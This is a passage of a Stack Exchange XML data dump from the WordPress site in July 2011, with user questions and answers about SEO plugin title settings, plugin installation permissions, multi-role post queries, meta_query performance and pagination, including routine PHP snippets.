as &quot;doctorEQ - Home,&quot; just no pop-up balloon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that I might have an answer to the issue above as well as to my next question, I'll list all of the option both in Elegant Themes (ET) and WP SEO. It is my hope that you can get a feel for the whole scenario (the relationship between ET and WP SEO and WP) and the available setting options. I'm sure there must be some concepts that I am just not 'getting.' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;...List of ET settings...(then WP SEO)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ePanel&gt;SEO&gt;Homepage SEO&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can enable or disable these and all but the last have related text entry fields: &#xA;    Enable custom title&#xA;    Enable meta description&#xA;    Enable meta keywords&#xA;    Enable canonical URL's&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If custom titles are disabled, I can choose an autogeneration method:&#xA;    Blog name | Blog description&#xA;    Blog description | Blog name (current setting)&#xA;    Blog name only&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ePanel&gt;SEO&gt;Single Post Page SEO&#xA;I can enable or disable, and enter text for: &#xA;    Enable custom title &#xA;    Enable custom description&lt;br&gt;&#xA;    Enable custom keywords &#xA;    Enable canonical URL's (no text entry field)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If custom titles are disabled, I can choose an autogeneration method:&#xA;    Post title | Blog name (current setting)&#xA;    Blog name | Post title&#xA;    Post title only&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ET&gt;ePanel&gt;SEO&gt;Index Page SEO&#xA;    Enable canonical URL's (no text entry field)&#xA;    Enable meta description&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose title autogeneration method:&#xA;    Category name | Blog name (current setting)&#xA;    Blog name | Category name&#xA;    Category name only&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I have tried various combination of &quot;enabled&quot; and not with no difference that I can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of what is really driving me is this WP SEO plugin information, reported to me on each page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your focus keyword was found in:&#xA;    Article Heading: No&#xA;    Page title: No&#xA;    Page URL: No&#xA;    Content: No&#xA;    Meta description: No&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, here is the complete list of &quot;WP SEO&quot; (plugin) fields and the related text I have entered for this page.&#xA;&lt;a href=&quot;http://www.doctoreq.com/radiation/lifestyle-changes/miso-iodine/&quot; rel=&quot;nofollow&quot;&gt;http://www.doctoreq.com/radiation/lifestyle-changes/miso-iodine/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snippet preview (display only): &#xA;Miso &amp;amp; Iodine - doctorEQ&#xA;Miso &amp;amp; Amazing! Iodine? Incredible! Both are inexpensive and easy to get &amp;amp; prepare. Miso soup has been proven to be radioprotective &amp;amp; it tastes good!&#xA;www.doctoreq.com/radiation/lifestyle-changes/miso-iodine/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Focus Keyword: Radioactivity, miso, iodine&#xA;Your focus keyword was found in:&#xA;    Article Heading: No&#xA;    Page title: No&#xA;    Page URL: No&#xA;    Content: No&#xA;    Meta description: No&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEO Title:  (I entered-&gt;) Miso &amp;amp; Iodine - doctorEQ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meta Description: (I entered-&gt;) Miso &amp;amp; Amazing! Iodine? Incredible! Both are inexpensive and easy to get &amp;amp; prepare. Miso soup has been proven to be radioprotective &amp;amp; it tastes good!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meta Keywords: (I am not concerned with this field right now)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OTHER ISSUE? RELATED?  While reviewing the general settings for WP SEO, I noticed this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Be aware that for WordPress SEO to be able to modify your page titles, the title section of your header.php file should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If you can't modify or don't know how to modify your template, check the box below. Be aware that changing your template will be faster.&#xA;[ ]Force rewrite titles &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this checked and unchecked with no apparent difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The title section of my header.php file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RE: &quot;Array&quot; - I daringly opened the header.php file and changed the title section to &quot;&quot;, saved it, cleared my browser cache and looked around - no changes. So, I put it back to &quot;&quot; like it was, saved it, cleared the browser cache and was afraid when I saw all the sites tabs were now titled &quot;Array.&quot; Oh great. What's that? I went back in and ticked the [ ]Force rewrite titlesunder WP SEO general settings and now the titles look OK again. Whew!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also noticed another general setting which is selected and have no idea what the correct choice would be. &quot;Use meta keywords tag?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it too much to ask for someone to help me with each of these settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd especially like to make the &quot; Your focus keyword was found in:&quot; part behave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;doctorEQ&lt;/p&gt;&#xA;" OwnerUserId="7063" LastActivityDate="2011-07-16T02:06:15.753" Title="What takes priority, the theme or the plugin?" Tags="&lt;plugins&gt;" CommentCount="3" />
  <row Id="23128" PostTypeId="2" ParentId="11457" CreationDate="2011-07-16T02:45:45.637" Score="0" ViewCount="" Body="&lt;p&gt;Have you turned on debug in the wp-config file to see what errors you are getting, since you are getting a white screen?&lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-07-16T02:45:45.637" />
  <row Id="23129" PostTypeId="1" AcceptedAnswerId="23144" CreationDate="2011-07-16T04:27:37.610" Score="0" ViewCount="49" Body="&lt;p&gt;My nginx user is www-data. If I do &lt;code&gt;su www-data&lt;/code&gt; I can create both file and directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when installing plugin I am asked for FTP credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to give the public_html directory 777 permissions for a while to test if I can install plugin without providing FTP credentials but it didn't help either.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WP 3.2.1&lt;/li&gt;&#xA;&lt;li&gt;nginx&lt;/li&gt;&#xA;&lt;li&gt;ubuntu &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I install plugins without providing FTP credentials. &lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-07-17T10:45:30.770" Title="What are the correct permissions so WP doesn't ask for FTP credentials if installing plugin?" Tags="&lt;plugins&gt;&lt;installation&gt;&lt;permissions&gt;" AnswerCount="2" />
  <row Id="23130" PostTypeId="1" AcceptedAnswerId="23141" CreationDate="2011-07-16T04:39:30.117" Score="2" ViewCount="61" Body="&lt;p&gt;I'm using the code below from another answer to query posts from 1 custom role, eg &quot;friends&quot;. I thought I could just comma separate the roles to list posts from more than one role, but this didn't work. Is there another way I can write it? I've tried &lt;code&gt;'role' =&amp;gt; 'friends', 'enemies'&lt;/code&gt; and &lt;code&gt;'role' =&amp;gt; 'friends, enemies'&lt;/code&gt; but I guess &lt;code&gt;get_users&lt;/code&gt; only supports one role.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$friends = get_users( array( 'role' =&amp;gt; 'friends' ) );&#xA;$friend_ids = array();&#xA;&#xA;foreach( $friends as $friend ) &#xA;$friend_ids[] = $friend-&amp;gt;ID;&#xA;&#xA;$news = new WP_Query( array( 'author' =&amp;gt; implode( ',', $friend_ids ), 'post_type' =&amp;gt; 'news', 'paged' =&amp;gt; get_query_var('paged') ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-07-16T08:33:42.090" Title="How can I query posts from multiple roles?" Tags="&lt;wp-query&gt;" AnswerCount="2" />
  <row Id="23131" PostTypeId="1" CreationDate="2011-07-16T05:09:39.320" Score="0" ViewCount="61" Body="&lt;p&gt;I use this code for display custom posts :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'category__in' =&amp;gt; $bookcat,&#xA;    'meta_query' =&amp;gt; array(&#xA;        'relation' =&amp;gt; 'OR',&#xA;        array('key' =&amp;gt; 'bookname','compare' =&amp;gt; 'LIKE','value' =&amp;gt; $bookname),&#xA;        array('key' =&amp;gt; 'authr','compare' =&amp;gt; 'LIKE','value' =&amp;gt; $authr),&#xA;        array('key' =&amp;gt; 'translator','compare' =&amp;gt; 'LIKE','value' =&amp;gt; $translator),&#xA;        array('key' =&amp;gt; 'publisher','compare' =&amp;gt; 'LIKE','value' =&amp;gt; $publisher),&#xA;        array('key' =&amp;gt; 'pyear','compare' =&amp;gt; '=','value' =&amp;gt; $pyear,'type' =&amp;gt; 'NUMERIC'),&#xA;        array('key' =&amp;gt; 'ptime','compare' =&amp;gt; '=','value' =&amp;gt; $ptime,'type' =&amp;gt; 'NUMERIC')&#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is 6 array in meta_query , when I use that code , mysql server use upper than 80% of cpu!&#xA;But when I use 4 array or less thats work well.for example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    'meta_query' =&amp;gt; array(&#xA;        'relation' =&amp;gt; 'OR',&#xA;        array('key' =&amp;gt; 'bookname','compare' =&amp;gt; 'LIKE','value' =&amp;gt; $bookname),&#xA;        array('key' =&amp;gt; 'authr','compare' =&amp;gt; 'LIKE','value' =&amp;gt; $authr),&#xA;        array('key' =&amp;gt; 'translator','compare' =&amp;gt; 'LIKE','value' =&amp;gt; $translator),&#xA;        array('key' =&amp;gt; 'publisher','compare' =&amp;gt; 'LIKE','value' =&amp;gt; $publisher)&#xA;        )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there limit to use number of array in wordpress meta_query?or I have mistake in my code?&#xA;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="6097" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-07-16T11:02:45.500" LastActivityDate="2011-07-16T11:02:45.500" Title="WordPress &amp; MySQL , problem with use many array in meta_query" Tags="&lt;mysql&gt;&lt;array&gt;&lt;meta-query&gt;" AnswerCount="1" />
  <row Id="23132" PostTypeId="2" ParentId="17419" CreationDate="2011-07-16T05:47:07.573" Score="0" ViewCount="" Body="&lt;p&gt;I use this to limit number of months in the default monthly archive widget (12). You can modify it for weekly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function my_limit_archives( $args ) {&lt;br&gt;&#xA;$args['limit'] = 12; &#xA;return $args;&#xA;}&#xA;add_filter( 'widget_archives_dropdown_args', 'my_limit_archives' ); &lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-07-16T05:47:07.573" />
  <row Id="23133" PostTypeId="1" CreationDate="2011-07-16T06:04:39.400" Score="0" ViewCount="22" Body="&lt;p&gt;I've used the &lt;a href=&quot;http://wordpress.org/extend/plugins/smart-youtube/&quot; rel=&quot;nofollow&quot;&gt;Smart YouTube&lt;/a&gt; plugin to embed YouTube videos into my blogs. The way I did it is to replace the &lt;code&gt;http://&lt;/code&gt; of the YouTube url with &lt;code&gt;httpv://&lt;/code&gt; as the plugin describes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I noticed that it's much easier to just auto-embed the YouTube videos by posting the normal &lt;code&gt;http://&lt;/code&gt; url. I would like to disable the Smart YouTube plugin and convert all those &lt;code&gt;httpv://&lt;/code&gt; back to &lt;code&gt;http://&lt;/code&gt;. Is there a good automated way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example &lt;a href=&quot;http://lexfridman.com/blogs/training/2011/07/01/submission-only-finals/&quot; rel=&quot;nofollow&quot;&gt;blog post of mine&lt;/a&gt; that now has Smart YouTube disabled so there's just a &lt;code&gt;httpv://&lt;/code&gt; url lingering there.&lt;/p&gt;&#xA;" OwnerUserId="4857" LastActivityDate="2011-08-16T06:25:14.600" Title="Rename Smart YouTube's httpv back to http for all posts" Tags="&lt;plugins&gt;&lt;shortcode&gt;&lt;embed&gt;&lt;youtube&gt;&lt;replace&gt;" AnswerCount="1" />
  <row Id="23134" PostTypeId="2" ParentId="22802" CreationDate="2011-07-16T07:31:44.483" Score="0" ViewCount="" Body="&lt;p&gt;I've marked up anu's answer and get_ancestors explanation, however this is how I solved it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$terms = wp_get_object_terms($post-&amp;gt;ID, 'projects_category', array('orderby' =&amp;gt; 'term_id', 'order' =&amp;gt; 'ASC') );&#xA;    if ( !empty( $terms ) ) :&#xA;    $project = array();&#xA;    foreach ( $terms as $term ) {&#xA;        $project[] = $term-&amp;gt;name;&#xA;}&#xA;    echo '&amp;lt;h1&amp;gt;'.$project[0].'&amp;lt;/h1&amp;gt;';&#xA;    echo '&amp;lt;h2&amp;gt;'.$project[1].'&amp;lt;/h2&amp;gt;';&#xA;    endif;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4316" LastActivityDate="2011-07-16T07:31:44.483" />
  <row Id="23136" PostTypeId="1" CreationDate="2011-07-16T08:09:06.853" Score="1" ViewCount="321" Body="&lt;p&gt;I've created a custom post type with categories and sub categories, what I need to do is list out the post titles and images for a given sub-category or category in a page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got as far as getting the all the listed items in the custom post type, but I'm unsure how to go further... any help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$args = array( 'post_type' =&amp;gt; 'portfolio', 'posts_per_page' =&amp;gt; 10 );&#xA;$loop = new WP_Query( $args );&#xA;while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post();&#xA;the_title();&#xA;echo '&amp;lt;div class=&quot;entry-content&quot;&amp;gt;';&#xA;the_content();&#xA;echo '&amp;lt;/div&amp;gt;';&#xA;endwhile;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function that creates the custom post type and taxonomy looks like this:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;//      CUSTOM POST TYPE 1&#xA;add_action('init', 'portfolio_register');&#xA;&#xA;function portfolio_register() {&#xA;    $args = array(&#xA;        'label' =&amp;gt; __('Portfolio'),&#xA;        'singular_label' =&amp;gt; __('Portfolio'),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'supports' =&amp;gt; array('title', 'editor', 'thumbnail')&#xA;    );&#xA;&#xA;    register_taxonomy(&quot;galleries&quot;, array(&quot;portfolio&quot;), array(&#xA;        &quot;hierarchical&quot; =&amp;gt; true, &#xA;        &quot;label&quot; =&amp;gt; &quot;Galleries&quot;, &#xA;        &quot;singular_label&quot; =&amp;gt; &quot;Galleries&quot;, &#xA;        &quot;rewrite&quot; =&amp;gt; true)&#xA;    );&#xA;&#xA;    register_post_type( 'portfolio' , $args );&#xA;}&#xA;&#xA;&#xA;add_action(&quot;admin_init&quot;, &quot;admin_init&quot;);&#xA;add_action('save_post', 'save_portfolio_options');&#xA;add_action('save_post', 'save_portfolio_single_options');&#xA;&#xA;function admin_init(){&#xA;    add_meta_box(&quot;gallerymeta&quot;, &quot;Gallery Options&quot;, &quot;portfolio_meta_options&quot;, &quot;portfolio&quot;, &quot;normal&quot;, &quot;low&quot;);&#xA;    add_meta_box(&quot;portfoliometa&quot;, &quot;Portfolio Item Options&quot;, &quot;portfolio_single_meta_options&quot;, &quot;portfolio&quot;, &quot;side&quot;, &quot;low&quot;);&#xA;}&#xA;&#xA;function portfolio_meta_options(){&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    $excerpt = $custom[&quot;excerpt&quot;][0];&#xA;    $info = $custom[&quot;info&quot;][0];&#xA;    $linkto = $custom[&quot;linkto&quot;][0];&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3782" LastEditorUserId="3782" LastEditorDisplayName="" LastEditDate="2011-07-16T08:46:00.017" LastActivityDate="2011-08-22T05:33:19.617" Title="Get custom post type by category in a page template" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;php&gt;&lt;customization&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="23137" PostTypeId="2" ParentId="23136" CreationDate="2011-07-16T08:19:49.773" Score="0" ViewCount="" Body="&lt;p&gt;You can get it if you have/know category/subcategory slug...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just pass it in args array for query_posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( 'post_type' =&amp;gt; 'portfolio', 'posts_per_page' =&amp;gt; 10 ,'taxonomy_name'=&amp;gt;'slug of category/subcategory');&#xA;&#xA;query_posts($args); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-16T08:19:49.773" CommentCount="1" />
  <row Id="23138" PostTypeId="1" CreationDate="2011-07-16T08:25:08.590" Score="0" ViewCount="46" Body="&lt;p&gt;We are all familiar with facebook apps which can be made with other websites.My question is how to make this feature applicable on wordpress.&#xA;Suppose I want an application for zynga for playing games on my wordpress site or think of any other website application which you are familiar with facebook.How will it work with wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the abovesaid fails should I make a new theme or plugin for this particular feature.&#xA;May be my question needs some modification but I hope you got my point as I am a novice in web development field.&lt;/p&gt;&#xA;" OwnerUserId="7047" LastEditorUserId="7047" LastEditorDisplayName="" LastEditDate="2011-07-23T16:51:06.310" LastActivityDate="2011-07-23T16:51:06.310" Title="how to make application or API( like we use acebook applications) work on wordpress?" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;customization&gt;&lt;facebook&gt;&lt;wordpress.org&gt;" />
  <row Id="23139" PostTypeId="2" ParentId="23131" CreationDate="2011-07-16T08:25:37.110" Score="1" ViewCount="" Body="&lt;p&gt;Looking at your code it looks perfectly fine. Although the more complex you make your query the more resources it is going to take and the longer it is going to take. You mention that your CPU usage rises to 80% which would be normal but how long is the usage holding at 80%? If its for a very short while then I wouldn't worry about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can you do to optimise the query... You could look at placing the data in a separate DB table where you can properly index the table to suit the queries you will be throwing at it. However doing this will require a fair bit of development work to get this done. If you want to go down this route then feel free to ask other questions on here to get your started.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-16T08:25:37.110" />
  <row Id="23140" PostTypeId="2" ParentId="23130" CreationDate="2011-07-16T08:28:24.347" Score="1" ViewCount="" Body="&lt;p&gt;Below is function to get user ids for roles.....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getUsersByRole( $roles ) {  &#xA;    global $wpdb;  &#xA;    if ( ! is_array( $roles ) ) {  &#xA;        $roles = explode( &quot;,&quot;, $roles );  &#xA;        array_walk( $roles, 'trim' );  &#xA;    }  &#xA;    $sql = ' &#xA;        SELECT  ID, display_name &#xA;        FROM        ' . $wpdb-&amp;gt;users . ' INNER JOIN ' . $wpdb-&amp;gt;usermeta . ' &#xA;        ON      ' . $wpdb-&amp;gt;users . '.ID              =       ' . $wpdb-&amp;gt;usermeta . '.user_id &#xA;        WHERE   ' . $wpdb-&amp;gt;usermeta . '.meta_key     =       \'' . $wpdb-&amp;gt;prefix . 'capabilities\' &#xA;        AND     ( &#xA;    ';  &#xA;    $i = 1;  &#xA;    foreach ( $roles as $role ) {  &#xA;        $sql .= ' ' . $wpdb-&amp;gt;usermeta . '.meta_value LIKE    \'%&quot;' . $role . '&quot;%\' ';  &#xA;        if ( $i &amp;lt; count( $roles ) ) $sql .= ' OR ';  &#xA;        $i++;  &#xA;    }  &#xA;    $sql .= ' ) ';  &#xA;    $sql .= ' ORDER BY display_name ';  &#xA;    $userIDs = $wpdb-&amp;gt;get_col( $sql );  &#xA;    return $userIDs;  &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I should work... may be you have syntax error...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See in below page..&#xA;Show Posts From Several Authors&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Author_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Author_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6961" LastEditorUserId="6961" LastEditorDisplayName="" LastEditDate="2011-07-16T08:33:42.090" LastActivityDate="2011-07-16T08:33:42.090" />
  <row Id="23141" PostTypeId="2" ParentId="23130" CreationDate="2011-07-16T08:30:51.923" Score="2" ViewCount="" Body="&lt;p&gt;Just do the get_users() twice and merge the results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$friends = get_users( array( 'role' =&amp;gt; 'friends' ) );&#xA;$enemies = get_users( array( 'role' =&amp;gt; 'enemies' ) );&#xA;&#xA;$friends_n_foe = array_merge($friends, $enemies);&#xA;&#xA;$IDs = array();&#xA;&#xA;foreach( $friends_n_foe as $person ) {&#xA;    $IDs[] = $person-&amp;gt;ID;&#xA;}&#xA;&#xA;$news = new WP_Query( array( 'author' =&amp;gt; implode( ',', $IDs ), 'post_type' =&amp;gt; 'news', 'paged' =&amp;gt; get_query_var('paged') ) );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-16T08:30:51.923" CommentCount="1" />
  <row Id="23142" PostTypeId="1" CreationDate="2011-07-16T08:40:34.057" Score="0" ViewCount="51" Body="&lt;p&gt;I want 5 posts on my front page but 10 posts on subsequent pages (page 2, 3, ..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my Settings &gt; Reading &gt; Blog pages show at most &gt; I have 10. But I want to show only 5 posts on the front page, so in index.php I use this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $paged &amp;lt;= 1 ) $posts = query_posts($query_string.'&amp;amp;posts_per_page=5&amp;amp;paged='.$paged);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works fine except that.. In page 2, the 6th to 10th posts don't show. As if, from page 2, WP « thought » that the front page has actually displayed the 10 first posts, not just 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do ?&lt;/p&gt;&#xA;" OwnerUserId="5915" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-07-17T19:49:43.330" LastActivityDate="2011-08-17T04:25:50.083" Title="Different number of posts on the front page" Tags="&lt;query-posts&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23143" PostTypeId="2" ParentId="23088" CreationDate="2011-07-16T08:41:02.623" Score="0" ViewCount="" Body="&lt;p&gt;How I have done custom queries in the past is use &lt;code&gt;$wpdb-&amp;gt;get_col()&lt;/code&gt; and just returned an array of IDs of the posts. Then I pass that to a &lt;code&gt;get_posts()&lt;/code&gt; passing the IDs to the &lt;code&gt;post__in&lt;/code&gt; parameter. That way you can then use WP standard controls.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-16T08:41:02.623" />
  <row Id="23144" PostTypeId="2" ParentId="23129" CreationDate="2011-07-16T09:08:54.233" Score="2" ViewCount="" Body="&lt;p&gt;You can set this in the wp-config.php, check the &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#WordPress_Upgrade_Constants&quot; rel=&quot;nofollow&quot;&gt;Editing wp-config.php&lt;/a&gt; page in the docs.&lt;/p&gt;&#xA;" OwnerUserId="7067" LastActivityDate="2011-07-16T09:08:54.233" CommentCount="4" />
  <row Id="23147" PostTypeId="2" ParentId="23122" CreationDate="2011-07-16T09:45:50.493" Score="0" ViewCount="" Body="&lt;p&gt;I would use #2 (/parentpage/page/), since that's the 'official' URL WP assigned to it, WP will find the right page faster and it may help you with your SEO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, if you change slugs it will be a broken link, you could use the Redirection plugin for that (it has the option to add a redirection from the old slug to the new slug, I believe it's activated by default).&lt;/p&gt;&#xA;" OwnerUserId="7067" LastActivityDate="2011-07-16T09:45:50.493" CommentCount="2" />
  <row Id="23148" PostTypeId="1" AcceptedAnswerId="23157" CreationDate="2011-07-16T09:48:16.340" Score="0" ViewCount="40" Body="&lt;p&gt;Hey guys i'm creating a site network using WordPress. Lets say my site name is blahblah.com&#xA;and lets say i have 10 subdomains like site1.blahblah.com,site2.blahblah.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i want something like this. There will be no articles in my main domain. But i want list all subdomain's articles in my main domain. When they click read more button users have to redirected to original article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want multisite access facility with single registration.  That is if a user signed up in my main domain, then he should able to access all my sub domain using the same login credentials. &#xA;Some says use the same database for all domains. But i dont think thats a good idea. &#xA;Is there any premium or free plugin available for this feature?.&lt;br&gt;&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5074" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-07-16T11:04:02.677" LastActivityDate="2011-07-16T13:43:10.630" Title="Please suggest me some plugins in WordPress networking" Tags="&lt;registration&gt;&lt;network&gt;&lt;network-admin&gt;" AnswerCount="1" />
  <row Id="23149" PostTypeId="1" AcceptedAnswerId="23163" CreationDate="2011-07-16T09:59:05.640" Score="0" ViewCount="31" Body="&lt;p&gt;Company I work for has purchased an eCommerce solution for WordPress. The solution works as a complete WordPress Theme. My assignment is to split the store view from the original website design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more precise, website we are working on has a unique design, but when we install the store theme, the whole website theme changes to that of a store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there ways I can complete this assignment? I thought about it for a while but the solution I found is terrible. I wanted to allow access to a store only on one particular page, by checking &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if is_page('shop') { &#xA;include TEMPLATEPATH.'storeurl/header.php'; &#xA;} else { &#xA;get_header(); &#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on, but it gets me nowhere because I need to have certain fields in admin panel for adding products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ideas, please?&lt;/p&gt;&#xA;" OwnerUserId="7069" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-07-16T11:03:14.660" LastActivityDate="2011-07-16T16:05:48.460" Title="Splitting an eCommerce store from the WordPress Theme" Tags="&lt;theme-options&gt;" AnswerCount="1" />
  <row Id="23150" PostTypeId="2" ParentId="14123" CreationDate="2011-07-16T10:47:23.873" Score="0" ViewCount="" Body="&lt;p&gt;You could look at &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-responder-email-autoresponder-and-newsletter-plugin/&quot; rel=&quot;nofollow&quot;&gt;WP Autoresponder&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2011-07-16T10:47:23.873" />
  <row Id="23151" PostTypeId="1" AcceptedAnswerId="23153" CreationDate="2011-07-16T11:39:44.603" Score="0" ViewCount="73" Body="&lt;p&gt;I have the following code that prints a comma separated list which I need in the form of an array, how do I get the list of id's into an array called $excluded_categories with contents as per below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories(array('taxonomy'=&amp;gt;'projects_category', 'exclude'=&amp;gt;7, 'orderby'=&amp;gt;'id'));&#xA;if ( !empty( $categories ) ) :&#xA;foreach($categories as $term){&#xA;    echo $term-&amp;gt;term_id.', '; // prints: 1,2,3,4,5,6,8,9,&#xA;    }&#xA;endif;&#xA;&#xA;$excluded_categories would be an array containing: 1,2,3,4,5,6,8,9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4316" LastActivityDate="2011-07-16T13:46:20.860" Title="Comma seperated list of ID's as an array?" Tags="&lt;array&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="23152" PostTypeId="2" ParentId="23151" CreationDate="2011-07-16T12:18:41.837" Score="3" ViewCount="" Body="&lt;p&gt;I'm pretty sure if you switched to &lt;code&gt;get_terms&lt;/code&gt; or similar you could return the data as an array and have no need to loop over it and build the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, having said that(and to save me going to check the docs), you can do it like so..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories(array('taxonomy'=&amp;gt;'projects_category', 'exclude'=&amp;gt;7, 'orderby'=&amp;gt;'id'));&#xA;if ( !empty( $categories ) ) :&#xA;$excluded_categories = array();&#xA;foreach( $categories as $term ) {&#xA;    $excluded_categories[] = $term-&amp;gt;term_id;&#xA;}&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps...&lt;/p&gt;&#xA;" OwnerUserId="2962" LastEditorUserId="2962" LastEditorDisplayName="" 